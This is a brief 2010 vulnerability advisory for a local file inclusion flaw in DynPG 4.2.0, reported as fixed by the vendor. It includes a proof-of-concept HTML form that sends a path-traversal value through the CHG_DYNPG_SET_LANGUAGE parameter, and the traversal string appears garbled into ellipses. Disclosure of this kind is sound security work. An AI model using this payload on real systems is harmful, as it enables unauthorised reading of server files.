LFI in DynPG

Vulnerability ID: HTB22703
Reference: http://www.htbridge.ch/advisory/lfi_in_dynpg.html
Product: DynPG
Vendor: dynpg.org ( http://www.dynpg.org/ )
Vulnerable Version: 4.2.0
Vendor Notification: 16 November 2010
Vulnerability Type: Local File Inclusion
Status: Fixed by Vendor
Risk level: Medium
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)

Vulnerability Details:
The vulnerability exists due to failure in the "/index.php" script to properly sanitize user-supplied input in CHG_DYNPG_SET_LANGUAGE variable.

Attacker can use browser to exploit this vulnerability. The following PoC is available:

<form action="http://dynpg/index.php&quot; method="post" name="main" >
<input type="hidden" name="SYSTEM_NAME" value="[admin_login]" />
<input type="hidden" name="SYSTEM_PASSWORD" value="[admin_password]" />
<input type="hidden" name="SET_LANGUAGE" value="1" />
<input type="hidden" name="CHG_DYNPG_SET_LANGUAGE" value="…/…/…/…/…/" />
<input type="submit" value="submit" name="submit" />
</form>

Solution: Upgrade to the most recent version